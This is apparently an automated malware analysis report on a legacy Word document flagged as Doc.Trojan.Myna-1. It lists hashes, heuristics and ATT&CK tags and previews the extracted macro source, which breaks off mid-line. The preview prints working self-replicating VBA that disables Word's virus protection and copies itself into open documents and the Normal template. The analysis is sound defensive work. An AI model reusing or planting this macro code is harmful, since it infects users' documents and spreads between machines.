Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 93708676d014e905…

MALICIOUS

Office (OLE)

40.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6e114d543354e6c982b6d8fbff2ad107 SHA-1: 52521f6f8dbbcfded61f32749af59eba3a20d846 SHA-256: 93708676d014e905c271e0685764d59da4328ac1e239298644690bf231c546b7
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macros and a Document_Open macro, indicating malicious intent. The AutoClose macro is designed to execute code, likely for downloading and executing a secondary payload. The ClamAV detection further confirms its malicious nature. The macro code appears to be obfuscated and attempts to disable virus protection.

Heuristics 5

  • ClamAV: Doc.Trojan.Myna-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Myna-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16843 bytes
SHA-256: 03aea1813ea657b6352ebf6a357208a44af9cddaec4bf7f498497fd14e3389ef
Detection
ClamAV: Doc.Trojan.Myna-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
'105871752364262771042014.51307040127062E+211058717523642627710420110587175236426277104201
Dim rsx, rox, xix, xxi As Integer: Dim xxe, xex, exx, exd, cxi, cix, xic, eox, xoe, oxe, cii, rxe, rex, exr, nix, ixn, nxi, lnr, nrl, rnl As String: o = 0: r = 0
'391355219292538547456009.93473796320952E+213913552192925385474560039135521929253854745600
Randomize
'984516129412711414094.06321043794003E+199845161294127114140998451612941271141409
On Error GoTo 93
'18869417956341381052256.44166175716432E+2018869417956341381052251886941795634138105225
Options.VirusProtection = Chr(48)
'31014379881578339971691.79368555823604E+2131014379881578339971693101437988157833997169
Private Sub Document_Close()

'

Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 Options.VirusProtection = False
 answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xitem In NormalTemplate.VBProject.VBComponents
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Private Sub Document_New()
'
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 Options.VirusProtection = False
 answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
  Count = Count + 1
 ' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xitem In NormalTemplate.VBProject.VBComponents
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Private Sub Document_Open()
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 answer = "MYNAMEISVIRUS"
  Options.VirusProtection = False
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
  Count = Count + 1
 ' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i
... (truncated)